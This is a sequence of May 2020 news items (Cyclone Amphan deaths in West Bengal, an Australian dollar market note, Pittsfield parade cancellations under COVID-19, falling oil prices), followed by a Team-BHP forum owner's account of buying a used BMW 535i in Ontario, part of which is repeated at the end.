Kolkata: The death toll due to powerful Tropical Cyclone Amphan, which left a trail of massive destruction and loss of lives in West Bengal before moving to Bangladesh, has risen to 80, reports said on Friday.

Out of the 80 deaths reported so far in West Bengal, 19 were reported in Kolkata alone. Addressing a press conference on Thursday, Chief Minister Mamata Banerjee had said the devastating storm left at least 72 people dead and many homeless besides snapping electricity, internet connection and other communication tools in large parts of the state.

Addressing a press conference at the state secretariat Nabanna, Banerjee said, "The total number of deaths due to cyclone Amphan stands at 72 -- 57 in the districts and 15 in Kolkata. The loss is huge. It`s worse than the coronavirus pandemic."

Banerjee said that most of the connectivity network across the state has gone for a toss during the six-hour-long nature`s fury the region witnessed on Wednesday evening.

"I have requested the Prime Minister to pay a visit to the affected areas of the state, mainly the coastal districts situated along the Bay of Bengal and its surrounding areas," she said, adding that everything has been ruined by the cyclone.

Banerjee also said that she would soon visit the affected areas. "We will soon start the restoration work. There have large scale power cuts in many areas of Kolkata and North and South 24 Parganas, while telephone and mobile connections are also down in many parts," Banerjee said.

Cyclone Amphan crossed the West Bengal-Bangladesh coast between East Midnapore, Digha and Hatiya Islands in Bangladesh across the Sunderban region on Wednesday evening with a wind speed of 155-165 kmph gusting to 185 kmph.

The cyclonic spell also left the Netaji Subhas Chandra Bose International (NSCBI) airport in complete disarray with a portion of it found damaged due to the severe storm and heavy rainfall.

Many neighbourhoods of Kolkata and its twin district Howrah were severely waterlogged as the regions witnessed heavy rains and massive gush of wind storms that damaged the roofs of several buildings and uprooted a number of trees and electric poles.

Cyclone Amphan left a huge trail of damage in Kolkata`s neighbouring South and North 24 Parganas districts. 'Mobile and cable networks continued to remain unstable in Kolkata and Howrah even on Thursday.

The Chief Minister also took to Twitter to express her feelings. "Cyclone Amphan has left a trail of devastation beyond our thoughts. While the material damage is substantial, Bengal stands united in this time of crisis. Together we will overcome this because nothing can dampen the spirit and strength of the people of Bengal," she tweeted.

As requested by Mamata Banerjee, Prime Minister Narendra Modi will on Friday travel to West Bengal and Odisha to take stock of the situation in the wake of cyclone Amphan wreaking havoc in the two states, the Prime Minister's Office said.

"He will conduct aerial surveys and take part in review meetings, where aspects of relief and rehabilitation will be discussed," the PMO said in a tweet on Thursday night.

This will be the prime minister's first visit outside the national capital after coronavirus lockdown was imposed on the midnight of March 24. Sources in the government said the PM would first reach West Bengal in the morning and then go to Odisha in the afternoon.

In a series of tweets on Thursday, Modi said no stone will be left unturned in helping those affected by cyclone Amphan.
OFX Daily Market News





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AUD  Australian Dollar

The Australian dollar fell through trade on Thursday, giving up recent highs following a shift in risk sentiment. Having pushed through resistance at 0.6570, the AUD failed to extend gains beyond 0.66 and drifted lower as US-China tensions weighed on equity markets, souring demand for risk and forcing investors to adopt a cautious tone. Trump vilified China over its handling of the coronavirus, lashing out and suggesting their incompetence in managing the outbreak is the only reason the virus has spread so prolifically. In the same breath he denounced Chinas new national security laws for Hong Kong, laws that could spark a fresh round of protests, suggesting the US will respond very strongly if the laws are enacted. In response China promised to safeguard its sovereignty and would retaliate if the US seeks to escalate tensions. The war of words has taken an alarming shift in recent weeks forcing investors to take stock as fears a renewed trade war will weigh on any short-term economic rebound. The AUD slipped back below 0.6450, touching 0.6447 before creeping marginally higher into this mornings open.

The AUD has enjoyed a series of higher highs and higher lows this week bolstered by the increased optimism and opening of the broader global economy. Having failed to break above 0.66 US cents, topside gains will continue to be hard won, as risk sentiment continues to dominate direction and the H2 outlook softens. Watch resistance on moves approaching 0.66 with support well formed at 0.6430 and 0.6380 for now. With sentiment vulnerable to rapid corrections and the outlook into 2021 souring, the AUD will likely drift lower in the medium term holding above 0.60 but shifting back toward 0.62 by the end of June.

Key Movers

The US dollar advanced through trade on Thursday as escalating US China trade tensions prompted investors to adopt a more cautious tone as risk sentiment faltered. Despite another alarming uptick in unemployment claim filings, the USD found support as the impact of the global lockdown weighed on investors.

Story continues

The Euro drifted back toward 1.0950 as optimism surrounding the Franco-German recovery fund proposal faded. Having jumped nearly 2% following the announcement earlier this week the combined unit struggled to maintain its momentum as fears US- China tensions will derail a short-term economic recovery. French, German and EU area services and manufacturing reports despite surpassing expectations, remain well below the level of expansion prompting investors to take stock and assess the broader impacts of the lockdown.

Attentions now turn to ECB policy meeting accounts for direction through trade on Friday. Investors will be keenly attuned to see if the ECB has amended its policy outlook following the German high court ruling earlier this month.

Expected Ranges

AUD/USD: 0.6430  0.6600 

AUD/EUR: 0.5950  0.6050 

GBP/AUD: 1.8380  1.8930 

AUD/NZD: 1.0680  1.0780 

AUD/CAD: 09080  0.9230 





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The post Aussie fails to break 0.66, is the upturn nearing the end? appeared first on .
PITTSFIELD, Mass.  Memorial Day and the Fourth of July will be observed a great deal differently this year because of the novel coronavirus pandemic, especially the absence of parades.

In her weekly address Friday on Pittsfield Community Television, Mayor Linda Tyer said these "longstanding cherished traditions" have meant gatherings  sometimes of the thousands  to celebrate the nation's birthday and the sacrifice of the nation's servicemen and women.

The Pittsfield Parade Committee on Wednesday evening announced it would cancel the Fourth of July Parade, a decision that Tyer said is in the best interest of the community.

"The very thing that make this event so enjoyable also create the greatest risk to our community," she said. "I know this wasn't an easy decision to make and I commend the Parade Committee for taking this public health threat very seriously."

And as the region enters the Memorial Day weekend, the annual observances across the county have been canceled, postponed, limited or turned remote where possible. Pittsfield's parade normally begins at City Hall and marches through the city's downtown.

"Sadly, we won't have a parade this year, it just wouldn't be safe," said Tyer. "I am proud that through the diligent efforts of City Council President Peter Marchetti and a large group of dedicated volunteers, American flags have been planted in Pittsfield and St. Joseph's cemeteries."

The mayor said it was her first time in volunteering to place the flags and found it a "moving, spiritual, somber experience."

Instead of a parade, a Memorial Day program will be broadcast by PCTV on Monday featuring Marine Corps veteran John Harding at Pittsfield Cemetery.

"I know that this year's celebration may look and feel different, but our respect and admiration for our veterans is as strong as ever," the mayor said.

Taking this Memorial Day weekend to maintain social distancing and cover faces when within 6 feet of each other is still necessary to prevent the spread of the COVID-19, she said, in discussing the state's four-phase "Reopening Massachusetts" plan.

She said the expanded contact testing in the city so far has reported that eight of the nine newest cases in Pittsfield were asymptomatic. The city now has confirmed 162 cases of COVID-19, the last eight or nine in the past week.

"This is concerning as it underscores the fact that this virus continues to spread easily from person to person," she said.

Tyer encouraged all residents to read the report released Monday by the state and noted it will guide Pittsfield's own reopening. She said the state will continue to rely on data and if numbers take a negative turn the state will not progress to a later stage or may even move backward.

She referred to the new "safer at home" restriction and noted that although new services and business will be allowed to reopen with limitations, people must still cover their faces, wash their hands, stay home if able, and be vigilant. Residents should answer the phone if the state's COVID-19 tracking and tracing team calls, and if they feel they have symptoms, to call the BMC Link Line at 855-262-5465 to speak to a nurse.

Pittsfield and the Berkshires have been successful in containing the virus but the state has still been hit hard by the virus and the more dire situation in the eastern part of the state could easily happen in the Berkshires.

"We are a small state and what is happening on the eastern part with are neighbors could just as easily happen here in the Berkshires," she said. "We must remain on guard."

She said different phases will allow new business and organization to reopen with specific limitations. She said the city will work with this plan and just recently the Board of Health reached out to restaurants and food trucks to help them prepare for a possible phase 2 reopening.

"You all have done what was asked of you," Tyer said. "Your constant vigilance has served all of us well we are now entering new terrain that has the potential to roll back all of our gains. Our resolve will be put to the test as more business begin to reopen and we start to engage in more community life.

"Now more than ever we have to count on each other to do the right thing."

The mayor said she understood that quarantine fatigue is real and the guidelines are frustrating, but getting back to normal is dependent on people following the guidelines. If the public health data doesn't show reductions in cases and hospitalizations, it may mean pausing the reopening plan or even regressing to impose prior restrictions.

She encourages residents to look ahead to next Memorial Day.

"I look forward to next year's celebration because our coming together will symbolize victory over COVID-19," she said.
Oil prices fell on Friday after China failed to set an economic growth target for 2020, sparking concerns that the fallout from the coronavirus pandemic will cap fuel demand in the world's second-largest oil user. Brent crude was trading down $1.38, or 3.8%, at $34.68 a barrel by 0420 GMT, after falling as low as $33.54. West Texas Intermediate (WTI) crude dropped by $1.79, or 5.3%, to $32.13 a barrel, having slumped to $30.72 earlier.

Oil prices have risen sharply in recent weeks and are still on track for a fourth weekly gain after the depths plumbed in April when U.S. crude fell below zero. However, markets were disappointed at China's decision not to set an economic growth target this year, as the National People's Congress (NPC) kicked off a week-long meeting.

Abandoning the growth target "could be interpreted as putting less focus on infrastructure investment and could be viewed as negative for oil," said Stephen Innes, chief global market strategist at AxiCorp. "The commodity market, in general, was looking for a bigger infrastructure pump from the NPC so there is bound to be an element of disappointment," he said.

Beijing, nonetheless, pledged to issue 1 trillion yuan ($140 billion) of special treasury bonds to support companies and regions hit by the pandemic. Rising tensions between the U.S. and China over Beijing's plan to implement national security legislation in Hong Kong also hit commodities and other markets.

U.S. President Donald Trump warned of a strong reaction over the attempt to assert more control over the former British colony. "Concerns over geopolitical and trade issues ... remain amid signs of improving demand and production cuts by major oil producers," said Avtar Sandu, senior manager commodities at Phillip Futures. Gasoline demand is returning, with traffic congestion in some of the world's capitals recovering to year-earlier levels after the lifting of coronavirus restrictions, data prepared for Reuters shows.

The upcoming Memorial Day holiday weekend typically kicks off the U.S. summer driving season.

Also read: China reduces GDP goal, pledges govt spending in parliament session

Also read: Coronavirus impact: Oil prices tumble over supply concerns
CrippledLucifer BHPian

Join Date: Dec 2015 Location: Ottawa Posts: 79 Thanked: 156 Times

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re: BMW 535i : My silver bullet Preface



Hello and welcome to my very first Team-BHP ownership experience. I have been a member of this site for a number of years now but have kept a mostly low profile. The wealth of knowledge gained over the years pertaining to Indian vehicles in particular has been invaluable and I hope to remain a member here for the long foreseeable future.



The Official Team-BHP reviews as well as long term ownership reviews have long fascinated me and have consistently been my favorite parts of this Forum. It had naturally then become a bit of a pipe dream of mine to one day document my full ownership experience here on Team-BHP from the purchase process all the way to finally taking possession. With recent developments, I'm excited to say the opportunity has finally arrived. While this is not my first car, it is my first car where I specifically took notes along the way specifically to share with my fellow BHPians. I would also like to apologize in advance for the length of this post, please feel free to skip the boring personal bits! While not completely necessary, it may help paint a better picture about myself.





A Little Background



Where to even begin?! Ever since I was a child, cars have been my passion. Even today, as an almost 31 year old, I still have my many die-cast Hotwheels and Matchbox cars safely parked in a glass cabinet. Of course, as I grew older, the smaller cars were joined by much larger more intricate model cars. It probably goes without saying, I love cars and I love driving.



Throughout my life, one constant has remained intact, that of course being my love for BMW. I can still vividly recall my very first memory of seeing a BMW as a small six year old living in Haiti sometime in 1995. One day, while we were making our way down the hills of Port-au-Prince, a white car ahead of us caught my attention. It was painted in white, had sharp tail lights and looked menacing from the front end after my father overtook it. I distinctly remember seeing the infamous roundel and the letters BMW. I didn't know it at the time of course, but I had ended up spotting an Alpine White E30 3 series. Thus, my BMW "virginity" had been lost at the very tender age of six!



After that sighting, I began to keep a sharp eye out for that menacing front end and those incredibly sharp aggressive looks. Unfortunately, Haiti only had a select few BMW and I regrettably never spotted another. In very early 1997, we ended up moving back to India and try as I may, I did not spot a single BMW and eventually I lost hope of ever seeing one.



Fast forward to 2002, my parents scheduled a trip to Saudi Arabia to perform the minor pilgrimage at Mecca. We landed at Jeddah and made our way to the hotel where the following morning, the biggest surprise of my life was waiting for me. For our very short ~90km journey, the hotel had provided us a BMW! More specifically, it was a long wheelbase E38 7 series painted in Biarritz Blue Metallic. Unfortunately, I do not recall the exact model but were I to hazard a guess, it was more than likely a 740iL. Regardless, I was so overjoyed to finally see a BMW in the flesh and was even more impressed when I climbed in. The legroom was insane, the seats so comfortable, the ride so incredibly sublime; I had fallen in love all over again with BMW.



Let's once again jump a few years ahead, this time to 2006. My father was posted in Rome, Italy at the time and one of our close family friends ended up buying an E90 BMW 325d painted in Space Gray Metallic. As a now much older 17 year old with access to high speed internet, I began poring over the details on the car and learning about the tiniest details. Our family friend took me for a drive and I was once again so impressed with the car as well as the tech inside. My parents at the time owned a Lexus IS200, a respectable car in it's own right but it felt just a bit dated compared to the BMW. It lit a desire so strong within me, I knew for certain my first car would be a BMW.



2010 arrived, I was now a university level student in Canada and finally began thinking about buying my very first car. I was of course fully prepared to buy a BMW, a life long dream was about to come true. The only problem was every used BMW I found at the time was either far too old or required extensive repairs which I would be unable to afford. When I finally found the right car, it ended up being beyond my budget. I was extremely dejected and mentioned the same to my father, who to my utter surprise offered to help me out with the car purchase. To this day, I am forever grateful to my father for helping me realize a dream held since childhood. September 17, 2010 I had finally purchased my first ever car, and more importantly my first ever BMW! Specifically, it was a facelifted E46 BMW 325i painted in a very unique Gray-Green Metallic finish and with a 5 speed manual gearbox. The engine in this vehicle was a naturally aspirated BMW M54 inline-six producing a modest 189HP/180 lb-ft (245nm) of torque. The picture below is from the day I purchased it.







I enjoyed the car immensely and ended up keeping it for four years during which time I drove it almost 50,000km. In October 2013, I decided it was finally time to purchase my next car, which of course would also be a BMW and would also be a manual transmission. The E46 was beginning to have issues, some of which were very serious and would require multiple thousands of dollars to repair. Still, it being my first car I was determined to try and keep it running for as long as I could. In any case, I found an E90 328i painted in Jet Black and ended up purchasing it shortly after the test drive. This vehicle had the naturally aspirated BMW N52 inline-six producing a much healthier 230HP/199lb-ft (270nm) of torque. A picture of my E90 is below.







I currently still own this E90 and plan on keeping it for the foreseeable future. It is mechanically flawless despite having ~197,000km on the odometer and has been with me for almost seven years now with no major issues. Routine maintenance as well as the BMW traditional preventive maintenance has kept things running smoothly. As for the E46, sadly I bid it farewell in July 2014. The AC evaporator had failed and repairing it would mean pulling apart the entire dashboard just to access the part. Not only would it be an extremely time consuming job, it would also be an extremely expensive to repair since at the time I had no access to tools or a garage.



Lastly, after almost 10 years, I can confidently say I've learned more about BMWs than your average person. Coding has been my favorite thing to do in any modern BMW and I've happily been learning VO/FDL coding to unlock even more options in my cars and truly making them my own.



Now that we're all caught up, it's finally time to move on to the purchase process for the 535i.





Planning and Researching



Having had the aforementioned E90 328i for such a long period of time, the itch to purchase a new car began all the way in early 2019. It goes without saying that I knew I wanted another BMW, this time a 5 series and specifically a 535i. The N20 inline-four powered 528i was never even considered because of its rather sluggish performance and the N63Tu V8 powered 550i was ruled out because of the sheer number of issues with the engine. What year, what mileage, and what options my future 535i would have was still a long ways out. I did however know I would want a facelifted car, or LCI (Life Cycle Impulse) model as BMW likes to call them. These models were produced starting July 2013 all the way to October 2016 and included most of the recent BMW tech.



As with any car purchase, planning the finances was the biggest challenge. Personally, I hate being in debt and prefer to pay cash for my car and own it outright. I also don't think a brand new car is a wise investment especially from a luxury marque like BMW. The depreciation on these cars here in North America is frankly depressing. I much rather let someone else deal with the depreciation and then enjoy a relatively new model for a far more reasonable price. Besides, as someone who owns cars for a long period of time, depreciation is ultimately of no concern to me.



Regardless, plenty of weeks went by in early 2019 planning and plotting for the incoming vehicle. By my calculations and after factoring in any unforeseen happenings, I came to the conclusion that I would have enough cash on hand to purchase my next car in or around April 2020.



Once that issue was tackled, I figured I would wait till around early March 2020 to start finding a car. I had also come to a conclusion that I wanted a mid to late 2016 build car so as to have factory warranty for an extra few months. In the mean time, I began looking for brochures to see what the most desirable options/packages were. Sadly, while I wasn't able to find any brochures online for 2016 models, I was able to find one for 2015 cars directly from BMW Canada's website. Immediately, a few options became an absolute must for me to have while others became optional. Please see an excerpt from the brochure I used to narrow down my options list:







I knew from the get-go that I had to have the M Performance Package for the additional 20HP/32lb-ft (43nm) of torque and the giant 20" wheels. After doing some additional research, I learned that Canadian vehicles that had the M Performance Package were required to be specced with the M Sport Line AND Premium Package. That made my life a little easier, however I still wanted to have the Technology Package for those sweet, sweet Adaptive LED headlights plus the HUD and all inclusive safety features. The Enhanced Interior Package and the Premium Seating Package became optional for me; while they had some features I wanted (like heated rear seats), not having them would not be a deal breaker. During this time, I also downloaded the complete owners manual from the internet and began to read every page in order to familiarize myself with my future car. In fact, I read with such fervor, when I eventually took the test drive a few months later, I was thoroughly checking everything as though I had owned the car for years.



With the packages/options list more or less locked in, next came the time to research the things nobody wants to: potential issues as well as common complaints/niggles other owners had. I was familiar with the N55 engine and that for the most part it was a rock solid BMW inline-six. Other than that, it looked like the 535i's were mostly very reliable provided they were well maintained. There's of course always someone who has issues but those tended to be extremely rare. Overall, the 535i checked every box and reassured me that I had made the right choice in deciding on this particular model. As xDrive was the only option for Canadian vehicles, I had no choice despite the fact that I would have preferred a RWD vehicle for the most unadulterated BMW driving experience.





A Setback



Of course, as we entered into 2020, we welcomed something that would change everything for humanity as a whole and for the foreseeable future: Covid19. As I mentioned, I was completely ready to purchase a car with the required cash on hand in late March 2020. The only problem now was a full shutdown of any car sales initiated by the Ontario government to help curb the spread of the virus. With an almost horrible sense of irony, as I was browsing a used car website in mid April 2020, I suddenly spotted the exact car I wanted with every option/package ticked down the T sitting at a dealership a mere 15km away from my house! Not only did it have every single option of my choosing, it also had the exterior color as well as interior color I wanted! I honestly couldn't believe it, it almost seemed like it was too good to be true.



Given that the dealership was closed, I knew it was pointless to anticipate a viewing, however I knew I just had to go see the car at their lot to get an idea of its condition. I hopped into my trusty black steed and drove with an excitement I hadn't felt in years. Car purchases are always such a fun affair are they not? I arrived at the dealership and promptly clicked the below photo to document my journey on Team-BHP. It was my very first look at the car in the flesh and I was immediately in love. The muscular side profile, the aggressive front end, the subdued rear end. Uff...







The body was in great shape, barely any scratches and those that existed were superficial enough to be hidden by the silver paint. It's one of the reasons I wanted a silver car, it hides any paint damage as well as dirt so well but sadly doesn't have the same pop and shine as a freshly detailed black car would. The wheels sadly had curb rash almost all around, very annoying especially since the car has a top down view camera to mitigate this exact thing. Sadly, with a used car, things like this are completely beyond anyone's control. In any case, I peeked inside and saw the interior was in pristine shape. Just seeing the interior put such an enormous smile on my face, this was the perfect car with literally everything I wanted. I stayed for as long as I could at the dealer lot before finally bidding the car adieu and returned home, but not before clicking a picture of the VIN. I wanted to decode the VIN and pull up the build sheet for this car to see confirm which options were installed from the factory along with the actual date of manufacture. Below are pictures of said build sheet:











Once home, and after confirming the options on the build sheet, I emailed the dealership to ask if they could perhaps arrange for a test drive. Two days later, the dealership responded that they could try to arrange one for me by basically delivering the car to my home and then letting me take it out for a spin. Of course, I immediately replied that this would be a wonderful idea and asked about their scheduling. After this email, the dealership went cold and did not reply further much to my dismay. I later learned that the by-law services in my city were fining car dealerships for over $100,000 for allowing test drives. I began to lose hope and felt so frustrated. My dream car was sitting right there, so close yet so, so far.





A Turn of Events: Test Drive



Two weeks later on the very first day of May 2020, I received an email from the dealership asking if I was available at 11am the following day to view the car. I immediately responded with a resounding yes. It turned out the Ontario government had relaxed the rules the night before to allow car viewings and test drives strictly by prior appointments. Things were beginning to look up once again. Right after replying, I contacted a close friend of mine who has also been my mechanic for the last decade or so to help me with the mechanical aspects of the vehicle. I trust his judgement fully and told him up front if he passed the car, I would be willing to close the deal there and then. Happily, he immediately responded with a yes and told me he'd be at the dealership at 11am sharp. I then contacted my best friend to see if he'd be willing to come down too who also immediately said yes. Everything was good to go for the next day, now if only time would pass by quicker.





10:30am the following morning I left my house in incredibly high spirits with literally no idea how the day would go. Both my friends were waiting for me when I arrived at the dealership 20 minutes later. After exchanging pleasantries with the salesman, we were given the key and decided to check out the car. Of course, my mechanic buddy immediately jumped into action and began checking out the exterior of the car for any obvious damage/repairs. He opened up the hood and checked for any obvious leaks or broken hoses. My best friend on the other hand began admiring it with as big a smile on his face as mine.



Once my mechanic friend was satisfied, he asked me to hop in to take us all out for a test drive. Finally, after what seemed like an eternity, I took a seat into the drivers seat and was immediately floored. This was so much better than I imagined: the Nappa leather upholstery was so incredibly soft and supple to the touch, everything in the car was so beautifully laid out, and had a much more upmarket feel compared to my aging 3 series. I hate to keep repeating myself, but I was once again completely head over heels in love with this car. Keeping my emotions in check (and to myself!), I pressed the engine start/stop button and it roared into life. After adjusting my seat/mirrors and putting on my seatbelt, I put the car into drive and slowly made my way out of the parking lot.



Right away a couple of things happened. The sheer size of this car compared to my 3 series made itself apparent. The hood was so much longer and was very visible while driving while the width took a little getting used to. Luckily, BMW has installed cameras in the front bumper as well as the ORVMs to make low speed maneuvering as easy as possible. Pictures of the cameras as well as their views in the infotainment screen are below:







Bumper mounted cameras, identical one on right side





View from the bumper mounted cameras on the infotainment screen





ORVM mounted camera





Surround view aided by above camera



In any case, I was extremely apprehensive and took things slow to begin with. As we drove around the city streets I began to get a better feel for the car and at the same time, the three of us all noticed just how comfortable it was. Bumps were ironed out and the noise insulation specific to LCI cars was very apparent. We reached the highway on ramp and luckily there was no traffic ahead of me. I immediately dropped the car into sport mode, moved the transmission lever into S mode, and engaged the paddle shifters to take full manual control of the gearbox. I then floored the accelerator and to all of our surprise the car transformed from a docile long distance cruiser to an aggressive speed machine. The tuning gains as well as upgraded throttle response offered with the M Performance Power Kit really made itself known, this is a seriously fast car for it's size and weight. Extremely impressed with the performance, I merged into traffic and let the car ease off. I switched it back into Comfort mode and slid the transmission lever back into D whereupon it once again became subdued. All three of us then noticed a strange whirring noise coming from the front end which my mechanic friend immediately attributed to feathered run-flat tires. Definitely something that could be used to leverage the price of the car.



One other thing that really stuck out to me during the test drive was the Heads-up Display (HUD). Previously, I had thought of the HUD as being a gimmick that I would rarely use. In my short test drive, any misconceptions I had about the HUD disappeared. It's such a useful little utility to have, the projection is incredibly crisp even in direct sunlight and it also offers a fair amount of information (navigation directions, song playlist, phone call information, speed limit information, etc.). I am now spoiled for the rest of my life as any future cars will absolutely require a HUD.



Test drive over, we made our way back to the dealership. My mechanic friend insisted on seeing the underside of the car just to make sure there were no further leaks or hidden surprises waiting for us. A quick phone call later and a hoist at a nearby garage was arranged for. The dealer was perfectly happy with letting us take the car for what was essentially a pre-purchase inspection. Things were beginning to get serious at last, I began to get slightly more nervous and hoped the car would check out. We drove the quick 2km to the hoist and propped up the car to get a good look underneath. Some pictures below:















Thankfully, aside from the car needing four brand new tires, everything else was in tip top shape. The car was then lowered from the hoist and once again we made our way back to the dealership. On the way, I asked my mechanic friend who instantly gave me the green light and at the same time both of them offered to help negotiate the price of the car. I gave them both the go ahead to negotiate as best a price for me as they could so that I could possibly close the deal on the same day. This was my dream car after all, it would be hard to pass up on it especially if a fair price could be negotiated for it.



We arrived at the dealership once again and immediately got talking to the salesman. My friends did all the talking on my behalf and within 30 minutes, managed to negotiate the price down by about $3,200. Not only was this comfortably within my budget, it also meant I would have plenty of spare change left to buy mods down the road. The deal was finalized and I paid a $500 deposit to seal the car as mine. I was over the moon and profusely kept thanking my friends for helping out. The salesman offered to click a picture with my car and I happily obliged!







I was instructed to bring a certified check when possible so that a bill of sale could be written up. This would also enable the dealership to get the car registered under my name so that I could attach license plates. For those unaware, license plates in Ontario, Canada are tied to the owner and not the car.





Payment and Delivery



As the deal was finalized on a Saturday and the banks were closed, I had to wait agonizing hours for Monday to arrive. I arrived at the bank shortly after 10am and then had to wait quite a bit more because of Covid19 restrictions. Just my luck! Banks were limiting the amount of people inside the branch and I ended up waiting almost 20 minutes for my turn. A check was eventually issued and with my bank account now being considerably lighter, I quickly made my way to the dealership to drop it off so the registration process could begin. I asked the salesman where the car was since I didn't see it on the main lot, he laughed at my impatience and said they parked it around the back to nobody else would try to get a glimpse of it. Thanking him, I went around the back to get one more look at my monster. Of course, I just had to take a pic:







I spent almost five minutes just admiring the car from every angle all over again with a big goofy grin on my face. I still couldn't believe this beautiful car was fully mine. Eventually, I figured I should get going and start arranging for new tires. I wanted to have the car fully ready with brand new tires when I took delivery. The dealership had agreed to drop off the car at a shop where the new tires could be mounted/balanced. Delivery would also take place at the same shop since the vehicle registration and keys would be left there.



After returning home, I got to work on finding tires. I have always preferred Michelin tires so the brand was a no brainer. I also knew that there would be zero chance I would install runflats, the ride quality is garbage with those and I was not making the same mistake I had once made in the past. After doing some research on various BMW specific forums, I finalized my tire option to the Michelin Pilot Sport 4S summer performance tire. Since my car uses a staggered setup, the tire sizes were as follows: 245/35/ZR20 for the front, and 275/30/ZR20 for the rear. Pictures of the tires installed on the car are below. Note that these images were taken a few days post delivery:





275/30/ZR20 at the rear





245/35/ZR20 in the front



At this point, let's flash forward a few days post delivery. I'd like to mention that despite these Style 434M wheels being 20", the deletion of runflat tires made the ride so incredibly smooth. With the runflats, I would never have liked to stick with the 20" wheels, the ride is simply way too harsh. Every bump feels like it'll blow the tire or worse damage the suspension. With these Michelin non-flats however, the car feels like it's floating on air. Truth be told, it doesn't feel at all as if I'm driving on 20s even on bumpy roads. In any case, back to the past!



I found a local retailer who had the tires in stock and after a quick phone call, placed the order and told them I would be in later that day to pay for the tires. I also requested them to drop the tires off at the mechanics shop which they agreed to do. In total, I paid $1,820CAD (~99,000) for all four tires. Very expensive yes, but tires and brakes are something that I will never compromise on. These two things are literally the most important thing keeping me alive, why on earth people still opt for Chinese brand tires on high performance vehicles is beyond me.



With the tires finalized, it was now time to go home and wait patiently for Thursday which was when the delivery was supposed to occur. Thursday arrived and around 3pm I got the call saying my car was ready for delivery. I was so excited and quickly contacted my best friend to see if he could give me a ride to the dealership. He was equally as happy and said he'd be at my place within 30 minutes so we could pick it up. As soon as he arrived, I hopped in and off we went to pick up the car. There are sadly no pictures of the delivery since I just took the keys and ownership with zero fanfare. After I got in and started the car, I noticed it was running on fumes with literally 20km range left in the tank. I quickly told my friend we would be making a pit stop at the petrol pump to fill up the belly of my beast. A picture of the very first fill up is below:







After this, my friend and I parted ways with plans to meet up during the weekend so that he could check out and drive my new car as well. I made my way home with the biggest smile and eventually parked my silver bullet in the garage right next to my 3 series:







As the day finally came to a close, I was feeling so incredibly content. It had been a wild few weeks but finally, I had exactly the car I wanted. However, there was still much to do!





A Quick Few Pictures



I've shared various pictures of the vehicle below with descriptions. Not a lot of talking here, just enjoy the pics.





The mean front end with the LED angel eyes





I love the way the golden sunlight hits the car at this angle





The BMW N55 twin scrolled turbo inline-six engine, develops 326HP/332lb-ft (450nm) torque and pushes this car from 0-100 in 5.4 seconds





The cockpit with full digital instrument cluster





Center console





Key with obligatory Team-BHP keyring





The driving aids plus headlight controls





The sweet, sweet full Adaptive LED headlights





Front drivers seat





Front passengers seat





Parked at my friends house the following weekend! The VW Jetta and W205 Mercedes-Benz C300 both belong to my friend.



In the next post, I'll cover some of the things I've done since taking delivery. Spoiler alert: it's not a lot... yet! Hello and welcome to my very first Team-BHP ownership experience. I have been a member of this site for a number of years now but have kept a mostly low profile. The wealth of knowledge gained over the years pertaining to Indian vehicles in particular has been invaluable and I hope to remain a member here for the long foreseeable future.The Official Team-BHP reviews as well as long term ownership reviews have long fascinated me and have consistently been my favorite parts of this Forum. It had naturally then become a bit of a pipe dream of mine to one day document my full ownership experience here on Team-BHP from the purchase process all the way to finally taking possession. With recent developments, I'm excited to say the opportunity has finally arrived. While this is not my first car, it is my first car where I specifically took notes along the way specifically to share with my fellow BHPians. I would also like to apologize in advance for the length of this post, please feel free to skip the boring personal bits! While not completely necessary, it may help paint a better picture about myself.Where to even begin?! Ever since I was a child, cars have been my passion. Even today, as an almost 31 year old, I still have my many die-cast Hotwheels and Matchbox cars safely parked in a glass cabinet. Of course, as I grew older, the smaller cars were joined by much larger more intricate model cars. It probably goes without saying, I love cars and I love driving.Throughout my life, one constant has remained intact, that of course being my love for BMW. I can still vividly recall my very first memory of seeing a BMW as a small six year old living in Haiti sometime in 1995. One day, while we were making our way down the hills of Port-au-Prince, a white car ahead of us caught my attention. It was painted in white, had sharp tail lights and looked menacing from the front end after my father overtook it. I distinctly remember seeing the infamous roundel and the letters BMW. I didn't know it at the time of course, but I had ended up spotting an Alpine White E30 3 series. Thus, my BMW "virginity" had been lost at the very tender age of six!After that sighting, I began to keep a sharp eye out for that menacing front end and those incredibly sharp aggressive looks. Unfortunately, Haiti only had a select few BMW and I regrettably never spotted another. In very early 1997, we ended up moving back to India and try as I may, I did not spot a single BMW and eventually I lost hope of ever seeing one.Fast forward to 2002, my parents scheduled a trip to Saudi Arabia to perform the minor pilgrimage at Mecca. We landed at Jeddah and made our way to the hotel where the following morning, the biggest surprise of my life was waiting for me. For our very short ~90km journey, the hotel had provided us a BMW! More specifically, it was a long wheelbase E38 7 series painted in Biarritz Blue Metallic. Unfortunately, I do not recall the exact model but were I to hazard a guess, it was more than likely a 740iL. Regardless, I was so overjoyed to finally see a BMW in the flesh and was even more impressed when I climbed in. The legroom was insane, the seats so comfortable, the ride so incredibly sublime; I had fallen in love all over again with BMW.Let's once again jump a few years ahead, this time to 2006. My father was posted in Rome, Italy at the time and one of our close family friends ended up buying an E90 BMW 325d painted in Space Gray Metallic. As a now much older 17 year old with access to high speed internet, I began poring over the details on the car and learning about the tiniest details. Our family friend took me for a drive and I was once again so impressed with the car as well as the tech inside. My parents at the time owned a Lexus IS200, a respectable car in it's own right but it felt just a bit dated compared to the BMW. It lit a desire so strong within me, I knew for certain my first car would be a BMW.2010 arrived, I was now a university level student in Canada and finally began thinking about buying my very first car. I was of course fully prepared to buy a BMW, a life long dream was about to come true. The only problem was every used BMW I found at the time was either far too old or required extensive repairs which I would be unable to afford. When I finally found the right car, it ended up being beyond my budget. I was extremely dejected and mentioned the same to my father, who to my utter surprise offered to help me out with the car purchase. To this day, I am forever grateful to my father for helping me realize a dream held since childhood. September 17, 2010 I had finally purchased my first ever car, and more importantly my first ever BMW! Specifically, it was a facelifted E46 BMW 325i painted in a very unique Gray-Green Metallic finish and with a 5 speed manual gearbox. The engine in this vehicle was a naturally aspirated BMW M54 inline-six producing a modest 189HP/180 lb-ft (245nm) of torque. The picture below is from the day I purchased it.I enjoyed the car immensely and ended up keeping it for four years during which time I drove it almost 50,000km. In October 2013, I decided it was finally time to purchase my next car, which of course would also be a BMW and would also be a manual transmission. The E46 was beginning to have issues, some of which were very serious and would require multiple thousands of dollars to repair. Still, it being my first car I was determined to try and keep it running for as long as I could. In any case, I found an E90 328i painted in Jet Black and ended up purchasing it shortly after the test drive. This vehicle had the naturally aspirated BMW N52 inline-six producing a much healthier 230HP/199lb-ft (270nm) of torque. A picture of my E90 is below.I currently still own this E90 and plan on keeping it for the foreseeable future. 